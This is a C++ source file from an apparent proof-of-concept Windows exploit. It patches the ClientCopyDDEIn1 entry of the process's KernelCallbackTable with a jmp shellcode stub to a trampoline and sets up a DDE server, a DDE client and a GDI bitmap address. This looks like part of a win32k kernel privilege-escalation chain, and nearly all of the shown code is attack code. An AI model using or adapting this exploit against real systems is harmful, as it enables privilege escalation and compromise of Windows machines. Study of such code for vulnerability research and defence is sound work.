255 lines
10 KiB
C++
255 lines
10 KiB
C++
// poc_test.cpp: 定义控制台应用程序的入口点。
|
||
//
|
||
|
||
#include "stdafx.h"
|
||
|
||
extern "C" {
|
||
VOID HijackTrampoFunc();
|
||
UINT64 g_ClientCopyDDEIn1_ContinueAddr = 0;
|
||
UINT64 g_BitMapAddr = 0;
|
||
}
|
||
ULONG64 g_GdiObjBitMapAddr = 0;
|
||
|
||
UCHAR HijackJmpShellcode[] = {
|
||
0x50, //push rax
|
||
0x48, 0xB8, //mov rax, 0xcccccccc
|
||
0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,
|
||
0xFF, 0xE0 //jmp rax
|
||
};
|
||
|
||
INT HijackClientCopyDDEIn1()
|
||
{
|
||
PTEB Teb = NtCurrentTeb();
|
||
PPEB Peb = Teb->ProcessEnvironmentBlock;
|
||
if (Peb == NULL)
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
PULONG64 KernelCallbackTable = (PULONG64)Peb->KernelCallbackTable;
|
||
if (KernelCallbackTable == NULL)
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
PUCHAR pfnClientCopyDDEIn1 = (PUCHAR)KernelCallbackTable[50];
|
||
if (pfnClientCopyDDEIn1 == NULL)
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
DWORD OldProtect = 0;
|
||
if (!VirtualProtect(pfnClientCopyDDEIn1, 1000, PAGE_EXECUTE_READWRITE, &OldProtect))
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
if (pfnClientCopyDDEIn1[0x38] != 0x41)
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
PUINT64 pJmpAddr = (PUINT64)(HijackJmpShellcode + 3);
|
||
*pJmpAddr = (UINT64)HijackTrampoFunc;
|
||
|
||
memcpy(pfnClientCopyDDEIn1 + 0x2D, HijackJmpShellcode, sizeof(HijackJmpShellcode));
|
||
g_ClientCopyDDEIn1_ContinueAddr = (UINT64)(pfnClientCopyDDEIn1 + 60);
|
||
g_BitMapAddr = (UINT64)g_GdiObjBitMapAddr;
|
||
|
||
printf("[*]g_ClientCopyDDEIn1_ContinueAddr:%p, g_BitMapAddr:%p\n",
|
||
(PVOID)g_ClientCopyDDEIn1_ContinueAddr, (PVOID)g_BitMapAddr);
|
||
|
||
return 0;
|
||
}
|
||
|
||
LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam, LPARAM lParam)
|
||
{
|
||
switch (message)
|
||
{
|
||
|
||
case MSG_DDESERVER_EXIT:
|
||
printf("[*]DDEServer exit..\n");
|
||
PostQuitMessage(0);
|
||
break;
|
||
|
||
case MSG_DDESERVER_SET_GDI_OBJ_ADDR:
|
||
g_GdiObjBitMapAddr = wParam;
|
||
g_BitMapAddr = wParam;
|
||
printf("[*]DDEServer Set BitmapAddr..%p\n", (PVOID)g_GdiObjBitMapAddr);
|
||
break;
|
||
}
|
||
|
||
return DefWindowProc(hwnd, message, wParam, lParam);
|
||
}
|
||
|
||
INT CreateWnd(PWCHAR pszWndName)
|
||
{
|
||
HWND hwnd = NULL;
|
||
WNDCLASSEX wndclassex = { 0 };
|
||
|
||
wndclassex.cbSize = sizeof(WNDCLASSEX);
|
||
wndclassex.style = CS_HREDRAW | CS_VREDRAW;
|
||
wndclassex.lpfnWndProc = WndProc;
|
||
wndclassex.cbClsExtra = 0;
|
||
wndclassex.cbWndExtra = 0;
|
||
wndclassex.hInstance = NULL;
|
||
wndclassex.hbrBackground = (HBRUSH)GetStockObject(WHITE_BRUSH);
|
||
wndclassex.lpszClassName = pszWndName;
|
||
wndclassex.hIconSm = wndclassex.hIcon;
|
||
|
||
if (!RegisterClassEx(&wndclassex))
|
||
{
|
||
return 0;
|
||
}
|
||
|
||
hwnd = CreateWindowEx(WS_EX_OVERLAPPEDWINDOW,
|
||
pszWndName,
|
||
pszWndName,
|
||
WS_OVERLAPPEDWINDOW,
|
||
CW_USEDEFAULT,
|
||
CW_USEDEFAULT,
|
||
CW_USEDEFAULT,
|
||
CW_USEDEFAULT,
|
||
NULL,
|
||
NULL,
|
||
NULL,
|
||
NULL);
|
||
|
||
ShowWindow(hwnd, 0);
|
||
UpdateWindow(hwnd);
|
||
|
||
return 0;
|
||
}
|
||
|
||
INT WindowMsgHanle()
|
||
{
|
||
MSG msg = { 0 };
|
||
while (GetMessage(&msg, NULL, 0, 0))
|
||
{
|
||
TranslateMessage(&msg);
|
||
DispatchMessage(&msg);
|
||
}
|
||
|
||
return (int)msg.wParam;
|
||
}
|
||
|
||
DWORD g_ServerIdInst = 0;
|
||
HDDEDATA CALLBACK DdeCallback(UINT wType, UINT wFmt, HCONV hConv,
|
||
HSZ hsz1, HSZ hsz2, HDDEDATA hData, ULONG_PTR dwData1, ULONG_PTR dwData2)
|
||
{
|
||
|
||
#define TEST_MSG L"TEST"
|
||
switch (wType)
|
||
{
|
||
case XTYP_CONNECT:
|
||
return ((HDDEDATA)TRUE);
|
||
|
||
case XTYP_REQUEST:
|
||
return DdeCreateDataHandle(
|
||
g_ServerIdInst,
|
||
(PBYTE)(PWCHAR)TEST_MSG,
|
||
sizeof(TEST_MSG),
|
||
0,
|
||
hsz2,
|
||
wFmt,
|
||
0);
|
||
}
|
||
return NULL;
|
||
}
|
||
|
||
INT CreateDdeServerice()
|
||
{
|
||
if (DdeInitialize(&g_ServerIdInst,
|
||
(PFNCALLBACK)DdeCallback,
|
||
APPCMD_FILTERINITS | CBF_FAIL_EXECUTES | CBF_FAIL_POKES,
|
||
0))
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
HSZ hszApp = DdeCreateStringHandle(g_ServerIdInst, DDE_SERVER_APP_NAME, 0);
|
||
if (!DdeNameService(g_ServerIdInst, hszApp, NULL, DNS_REGISTER))
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
return 0;
|
||
}
|
||
|
||
|
||
INT DDEServer()
|
||
{
|
||
printf("[*]DDEServer..\n");
|
||
|
||
CreateDdeServerice();
|
||
HijackClientCopyDDEIn1();
|
||
|
||
CreateWnd((PWCHAR)DDE_SERVER_WINDOW_CAPTION);
|
||
WindowMsgHanle();
|
||
|
||
return 0;
|
||
}
|
||
|
||
INT DDEClientSendDDEMsg()
|
||
{
|
||
DWORD idInst = 0;
|
||
if (DdeInitialize(&idInst,
|
||
NULL,
|
||
APPCMD_FILTERINITS | CBF_FAIL_EXECUTES | CBF_FAIL_POKES,
|
||
0))
|
||
{
|
||
return -1;
|
||
}
|
||
|
||
HSZ hszApp = DdeCreateStringHandle(idInst, DDE_SERVER_APP_NAME, 0);
|
||
HSZ hszTopic = DdeCreateStringHandle(idInst, DDE_SERVER_TOPIC_NAME, 0);
|
||
HSZ hszItem = DdeCreateStringHandle(idInst, DDE_SERVER_ITEM_NAME, 0);
|
||
|
||
HCONV hConv = NULL;
|
||
do
|
||
{
|
||
hConv = DdeConnect(idInst, hszApp, hszTopic, NULL);
|
||
if (hConv == NULL)
|
||
{
|
||
break;
|
||
}
|
||
|
||
HDDEDATA hData = NULL;
|
||
DWORD dwResult = 0;
|
||
WCHAR szBuffer[100] = { 0 };
|
||
DWORD dwLength = 0;
|
||
|
||
hData = DdeClientTransaction(NULL, 0, hConv,
|
||
hszItem, CF_TEXT, XTYP_REQUEST, 5000, &dwResult);
|
||
if (hData == NULL)
|
||
{
|
||
break;
|
||
}
|
||
|
||
dwLength = DdeGetData(hData, (LPBYTE)szBuffer, sizeof(szBuffer), 0);
|
||
printf("[*][DDEClient] len:%d MSG:%S\n", dwLength, szBuffer);
|
||
|
||
} while (FALSE);
|
||
|
||
DdeDisconnect(hConv);
|
||
DdeFreeStringHandle(idInst, hszApp);
|
||
DdeFreeStringHandle(idInst, hszTopic);
|
||
DdeFreeStringHandle(idInst, hszItem);
|
||
printf("[*]DDEClientSendDDEMsg over..\n");
|
||
|
||
return 0;
|
||
}
|
||
|
||
INT DDEClient()
|
||
{
|
||
printf("[*]DDEClient..\n");
|
||
|
||
DDEClientSendDDEMsg();
|
||
CreateWnd((PWCHAR)DDE_CLIENT_WINDOW_CAPTION);
|
||
WindowMsgHanle();
|
||
Sleep(5000);
|
||
|
||
return 0;
|
||
}
|
||
|